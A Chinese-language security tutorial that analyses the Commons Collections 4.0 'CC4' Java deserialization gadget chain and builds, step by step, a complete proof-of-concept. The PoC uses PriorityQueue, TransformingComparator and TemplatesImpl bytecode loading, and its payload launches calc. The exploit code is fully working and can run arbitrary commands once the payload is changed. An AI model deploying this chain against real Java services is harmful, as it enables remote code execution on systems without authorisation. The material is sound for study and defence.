本文作者:Track安全-jjxxx

公众号:掌控安全EDU

背景

在commons collections4.0版本之后,InvokerTransformer不再实现Serializable,导致CC1和CC3没办法再利用,本篇CC4利用链是采用CC3执行命令的方法-动态加载字节码,而头部也会采用一个新的类利用。

导入依赖

<dependency>  
 <groupId>org.apache.commons</groupId>  
 <artifactId>commons-collections4</artifactId>  
 <version>4.0</version>  
</dependency>

CC4链分析

CC4链子执行命令的方式和CC3相同,都是通过加载字节码的方式,因此该链的后半部分拿着CC3的poc用就行了。

这里代码就不做解读了,详情可以看我之前的动态加载解码、CC3部分

链尾InstantiateTransformer、TrAxFilter、TemplateImpl

先把CC3其中加载字节码的的代码部分拿出来,如下:

public class CC4Test {  
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {  
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));  
        final TemplatesImpl templates = new TemplatesImpl();  
        //给变量设置值  
        Setvalue(templates,"_name","jjxxx");  
        Setvalue(templates,"_bytecodes",new byte[][]{bytes});  
        Setvalue(templates,"_tfactory",new TransformerFactoryImpl()); 
        //调用链头
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});  
final Transformer[] transformers = {new ConstantTransformer(TrAXFilter.class), instantiateTransformer};  
Transformer chainedTransformer = new ChainedTransformer(transformers);

    //给变量设置值的静态方法  
    public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {  
        final Field field = classname.getClass().getDeclaredField(valuename);  
        field.setAccessible(true);  
        field.set(classname,value);  
    }  
 
}

生成字节码部分,如下:

package classloader;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
  
import java.io.IOException;  
  
public class TemplatesImplTest extends AbstractTranslet {  
    public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {}  
    public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}  
    public TemplatesImplTest() throws IOException {  
        super();  
        Runtime.getRuntime().exec("calc");   
    }  
}

先把我之前CC3的流程图拿过来看一下

此时,我们已经把通过加载字节码执行命令的代码写了出来,现在我们就需要找到一个能够调用transform()方法的类了

TransformingComparator

还是老样子,右键查找用法

其中在TransformingComparator#compare()方法中看到调用了transform()方法

跟进TransformingComparator#compare()看一下

链首PriorityQueue

TransformingComparator这个类没有可用的readobject()方法,因此继续往前找,可以找到PriorityQueue#siftDownUsingComparator()方法调用了compare(),如下图:

同时发现此类存在readobject()方法,跟进看一下,找一下它们的关联方式

看到readobject()方法存在heapity()方法

继续跟进heapity()

跟进siftDown


看到siftDownUsingComparator()方法,这样就闭合了,这算是能够自动调用siftDownUsingComparator()方法了,不用管太多,只是跟进一下看看readobject方法是怎么调用到siftDownUsingComparator的。

根据上方分析先完善一下POC如下:

半成品POC

public class CC4Test {  
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {  
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));  
        final TemplatesImpl templates = new TemplatesImpl();  
        //给变量设置值  
        Setvalue(templates,"_name","jjxxx");  
        Setvalue(templates,"_bytecodes",new byte[][]{bytes});  
        Setvalue(templates,"_tfactory",new TransformerFactoryImpl());  
        //调用链头  
//        templates.newTransformer();  
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});  
//        instantiateTransformer.transform(TrAXFilter.class);  
        Transformer[] transformers =new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
  
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);  
          
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);  
          
        serialize(priorityQueue);  
  
  
    }  
    //给变量设置值的方法  
    public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {  
        final Field field = classname.getClass().getDeclaredField(valuename);  
        field.setAccessible(true);  
        field.set(classname,value);  
    }  
  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));  
        oos.writeObject(obj);  
    }  
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
        Object obj = ois.readObject();  
        return obj;  
    }    
}

两个问题

此时我们的POC还没完成,直接利用还是无法利用,还需要解决两个问题。

第一个问题

我们在调试过程中,发现此时的size值为0,这样就会直接跳过for循环,从而反序列化直接结束,我们需要更改它的值。

size就是PriorityQueue 这个队列的长度可以理解为数组的长度

选中size>>>1并右键选择计算表达式

可以看到结果为0,现在需要更改size的值,等于以就可以进入for循环。

把size改为2即可。

因此需要添加两个数,将数组长度增加到2,代码如下:

priorityQueue.add(1);  
priorityQueue.add(2);

直接添加即可

第二个问题

第二个问题就是第一个问题引发出来的,因为priorityQueue.add(1)在添加过程
中,就会触发compare()方法,导致利用链生成。

可以跟进看一下是怎么触发的

跟进add()

跟进offer()

跟进siftUp

跟进siftDownUsingComparator,看出触发compare()

因此需要把之前的chainedTransformer给替换掉,放到add方法后,这样就可以防止提前触发利用链
替换前

        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); 

替换后
随便替换一个

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

等add()完之后就可以通过反射将它的值在更改回来,如下为反射修改:

        Class c =transformingComparator.getClass();  
        Field transformingField= c.getDeclaredField("transformer");  
        transformingField.setAccessible(true);  
        transformingField.set(transformingComparator,chainedTransformer);

最终POC

把上面提到的合并一下poc就完整了。
如下:

public class CC4Test {  
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException {  
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));  
        final TemplatesImpl templates = new TemplatesImpl();  
        //给变量设置值  
        Setvalue(templates,"_name","jjxxx");  
        Setvalue(templates,"_bytecodes",new byte[][]{bytes});  
        Setvalue(templates,"_tfactory",new TransformerFactoryImpl());  
        //调用链头  
//        templates.newTransformer();  
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});  
//        instantiateTransformer.transform(TrAXFilter.class);  
        Transformer[] transformers =new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
  
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));  
  
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);  
        priorityQueue.add(1);  
        priorityQueue.add(2);  
  
  
        Class c =transformingComparator.getClass();  
        Field transformingField= c.getDeclaredField("transformer");  
        transformingField.setAccessible(true);  
        transformingField.set(transformingComparator,chainedTransformer);  
  
  
//        serialize(priorityQueue);  
        unserialize("2.bin");  
  
  
    }  
    //给变量设置值的方法  
    public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {  
        final Field field = classname.getClass().getDeclaredField(valuename);  
        field.setAccessible(true);  
        field.set(classname,value);  
    }  
  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));  
        oos.writeObject(obj);  
    }  
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
        Object obj = ois.readObject();  
        return obj;  
    }  
}

成功弹出计算器

注意事项

这些代码我在CC3中已经分析过了,详情可以到CC3文章看,我这里再简单说一下,以便理解。

Transformer[] transformers =new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

第一行是创建了一个Transformer数组,并加入new ConstantTransformer(TrAXFilter.class)instantiateTransformer两个值。ConstantTransformer也已经介绍过了,不管ConstantTransformer.transform()传入什么都会返回TrAXFilter.class,以便绕过参数不可控问题。

同时instantiateTransformer#transform()可以获取传入类的构造方法并实例化。

第二行是把该数组加入到ChainedTransformer中,ChainedTransformer.transform()它会把第一个传入值的结果,当作第二个值得参数传入。简单来说,就是把第一行的TrAXFilter.class当作参数传入instantiateTransformer类。

流程图

CC4

总流程图

总结

那如果有人有疑惑,既然是用的CC3的执行命令的方法,为什么CC3不用这两个头部类,原因其实就是CC3的commons collections3.2.1版本TransformingComparator类没有继承Serializable接口,而commons collections4继承了,所以CC4能用这个类
commons collections4

commons collections3.2.1

前面的链子理解之后,CC4以及后面的链子都很好理解且简单了,该链只是在CC3的基础上增加了两个类,算是换了个能调用transform()的类。

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关    

网络安全学习路线/web安全入门/渗透测试实战/红队笔记/黑客入门


感谢各位看官看到这里,欢迎一键三连(点赞+关注+收藏)以及评论区留言,也欢迎查看我主页的个人简介进行咨询哦,我将持续分享精彩内容~

Logo

一座年轻的奋斗人之城,一个温馨的开发者之家。在这里,代码改变人生,开发创造未来!

更多推荐